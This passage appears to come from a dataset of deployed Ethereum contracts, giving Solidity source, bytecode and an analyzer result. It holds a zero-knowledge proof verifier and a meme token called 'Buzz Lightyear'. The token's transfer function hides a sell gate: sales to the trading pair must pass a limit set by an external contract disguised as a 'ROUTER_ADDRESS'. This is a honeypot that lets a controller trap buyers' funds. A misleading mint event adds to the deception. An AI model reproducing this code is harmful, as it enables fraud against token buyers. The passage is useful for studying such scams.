scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract Verifier2048 { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958); vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([8673164060677281422587901318357659867637935104233158996922122333146422237279,15563606032886964562804201493869545205619605857235454492122674907669376786878], [21269741638597126538493965795979688497186419692312587368172693524653500777446,11343431118305679115277934389219528358138675191033559078776998239638351310525]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(12119879304289515489450377772347995525642865047183452365268219414006773541285,3840793162571622921461450436086221374888135251116660291777965438473955890781); vk.IC[1] = Pairing.G1Point(6662037772606761817213857807109518411822872260104083390346489534101781424172,10748861837349076691520056115569377681382704488493136534983327823574044025082); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[1] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d41565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d73565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610dba565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b60200260200101516107a0565b610835565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610835565b90506104016103dd86600001516108c6565b8660200151846000015185602001518587604001518b604001518960600151610952565b6104115760019350505050610419565b600093505050505b92915050565b610427610d73565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f132cd63ecc40120e77bbf082d4e3310822d4b6b9e35ac045e35bdb50c368d85f8185019081527f2268b0583d98158404b16d8b1b9c85d63936a8a8f60371efdd54f02f708be1be828401528152835180850185527f2f063f45181b674ad10ef74a1da7512fadb08f8e4875838e43abdff1df13c3e681527f1914278cbd3b3db67c2df11f9a27e2c54e5ce1bf8958d9e049ee9e06f784eebd818501528184015281850152825160028082529181019093529082015b6106a8610dba565b8152602001906001900390816106a057505060808201908152604080518082019091527f1acb9bcc9c503001f3bc827a3729dcbd6d6c5bbf9e38d1559e44ab97ef4b69a581527f087dcfd838a65e1f6e2187a64dd7d6d8c483569db36a7ef71fcb660f5f06d65d60208201529051805160009061072157fe5b602002602001018190525060405180604001604052807f0eba946ad29924f2c10e3a6e9dff6ffcfe5ef6a5e0e52d8a95d4318fda07282c81526020017f17c3a3e4665c3caaa3f7925d50ab7b22e94898ca3e1edca5ce523e5632a0a0fa815250816080015160018151811061079257fe5b602002602001018190525090565b6107a8610dba565b6107b0610dd4565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e3576107e5565bfe5b508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083d610dba565b610845610df2565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e357508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108ce610dba565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090157506020830151155b15610921575050604080518082019091526000808252602082015261094d565b6040518060400160405280846000015181526020018285602001518161094357fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610976610dba565b81526020019060019003908161096e57505060408051600480825260a0820190925291925060609190602082015b6109ac610e10565b8152602001906001900390816109a45790505090508a826000815181106109cf57fe5b602002602001018190525088826001815181106109e857fe5b60200260200101819052508682600281518110610a0157fe5b60200260200101819052508482600381518110610a1a57fe5b60200260200101819052508981600081518110610a3357fe5b60200260200101819052508781600181518110610a4c57fe5b60200260200101819052508581600281518110610a6557fe5b60200260200101819052508381600381518110610a7e57fe5b6020026020010181905250610a938282610aa2565b9b9a5050505050505050505050565b60008151835114610af3576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1257600080fd5b50604051908082528060200260200182016040528015610b3c578160200160208202803683370190505b50905060005b83811015610cc157868181518110610b5657fe5b602002602001015160000151828260060260000181518110610b7457fe5b602002602001018181525050868181518110610b8c57fe5b602002602001015160200151828260060260010181518110610baa57fe5b602002602001018181525050858181518110610bc257fe5b602090810291909101015151518251839060026006850201908110610be357fe5b602002602001018181525050858181518110610bfb57fe5b60209081029190910101515160016020020151828260060260030181518110610c2057fe5b602002602001018181525050858181518110610c3857fe5b602002602001015160200151600060028110610c5057fe5b6020020151828260060260040181518110610c6757fe5b602002602001018181525050858181518110610c7f57fe5b602002602001015160200151600160028110610c9757fe5b6020020151828260060260050181518110610cae57fe5b6020908102919091010152600101610b42565b50610cca610e30565b6000602082602086026020860160086107d05a03fa90508080156107e3575080610d33576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d54610dba565b8152602001610d61610e10565b8152602001610d6e610dba565b905290565b6040518060a00160405280610d86610dba565b8152602001610d93610e10565b8152602001610da0610e10565b8152602001610dad610e10565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e23610e4e565b8152602001610d6e610e4e565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea2646970667358221220773ac8b1f8381eb3f13d6b008b790cd776d86a225223c5cd7443deb4e9b263b264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,312
0xe3086EE74DFC7D8e43E64436551481659495129c
//SPDX-License-Identifier: MIT // Telegram: https://t.me/BuzzLtoken pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=7; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=1000000000; string constant TOKEN_SYMBOL="BUZZ"; string constant TOKEN_NAME="Buzz Lightyear"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract BuzzLightYearToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102995780639e752b95146102c6578063a9059cbb146102e6578063dd62ed3e14610306578063f42938901461034c57600080fd5b806356d9dce81461022757806370a082311461023c578063715018a61461025c5780638da5cb5b1461027157600080fd5b8063293230b8116100d1578063293230b8146101ca578063313ce567146101e15780633e07ce5b146101fd57806351bc3c851461021257600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d213abd3d102634b3b43a3cb2b0b960911b60208201525b60405161014e91906114f8565b60405180910390f35b34801561016357600080fd5b50610177610172366004611562565b610361565b604051901515815260200161014e565b34801561019357600080fd5b5061019c610378565b60405190815260200161014e565b3480156101b657600080fd5b506101776101c536600461158e565b610399565b3480156101d657600080fd5b506101df610402565b005b3480156101ed57600080fd5b506040516006815260200161014e565b34801561020957600080fd5b506101df61077a565b34801561021e57600080fd5b506101df6107b0565b34801561023357600080fd5b506101df6107dd565b34801561024857600080fd5b5061019c6102573660046115cf565b61085e565b34801561026857600080fd5b506101df610880565b34801561027d57600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102a557600080fd5b50604080518082019091526004815263212aad2d60e11b6020820152610141565b3480156102d257600080fd5b506101df6102e13660046115ec565b610924565b3480156102f257600080fd5b50610177610301366004611562565b61094d565b34801561031257600080fd5b5061019c610321366004611605565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035857600080fd5b506101df61095a565b600061036e3384846109c4565b5060015b92915050565b60006103866006600a611738565b61039490633b9aca00611747565b905090565b60006103a6848484610ae8565b6103f884336103f3856040518060600160405280602881526020016118c5602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e24565b6109c4565b5060019392505050565b6009546001600160a01b0316331461041957600080fd5b600c54600160a01b900460ff16156104785760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a49030906001600160a01b03166104966006600a611738565b6103f390633b9aca00611747565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051b9190611766565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a19190611766565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190611766565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106428161085e565b6000806106576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e49190611783565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906117b1565b50565b6009546001600160a01b0316331461079157600080fd5b61079d6006600a611738565b6107ab90633b9aca00611747565b600a55565b6009546001600160a01b031633146107c757600080fd5b60006107d23061085e565b905061077781610e5e565b6009546001600160a01b031633146107f457600080fd5b600c54600160a01b900460ff1661084d5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046f565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037290610fd8565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093b57600080fd5b6007811061094857600080fd5b600855565b600061036e338484610ae8565b6009546001600160a01b0316331461097157600080fd5b4761077781611055565b60006109bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611093565b9392505050565b6001600160a01b038316610a265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b60008111610c105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8391906117d3565b600c546001600160a01b038481169116148015610cae5750600b546001600160a01b03858116911614155b610cb9576000610cbb565b815b1115610cc657600080fd5b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610e1457600c546001600160a01b038481169116148015610d225750600b546001600160a01b03838116911614155b8015610d4757506001600160a01b03821660009081526004602052604090205460ff16155b15610d9d57600a548110610d9d5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046f565b6000610da83061085e565b600c54909150600160a81b900460ff16158015610dd35750600c546001600160a01b03858116911614155b8015610de85750600c54600160b01b900460ff165b15610e1257610df681610e5e565b47670de0b6b3a7640000811115610e1057610e1047611055565b505b505b610e1f8383836110c1565b505050565b60008184841115610e485760405162461bcd60e51b815260040161046f91906114f8565b506000610e5584866117ec565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea657610ea6611803565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f239190611766565b81600181518110610f3657610f36611803565b6001600160a01b039283166020918202929092010152600b54610f5c91309116846109c4565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f95908590600090869030904290600401611819565b600060405180830381600087803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046f565b60006110496110cc565b90506109bd838261097b565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108f573d6000803e3d6000fd5b5050565b600081836110b45760405162461bcd60e51b815260040161046f91906114f8565b506000610e55848661188a565b610e1f8383836110ef565b60008060006110d96111e6565b90925090506110e8828261097b565b9250505090565b60008060008060008061110187611268565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113390876112c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111629086611307565b6001600160a01b03891660009081526002602052604090205561118481611366565b61118e84836113b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d391815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fb6006600a611738565b61120990633b9aca00611747565b905061123161121a6006600a611738565b61122890633b9aca00611747565b6005549061097b565b82101561125f576005546112476006600a611738565b61125590633b9aca00611747565b93509350505090915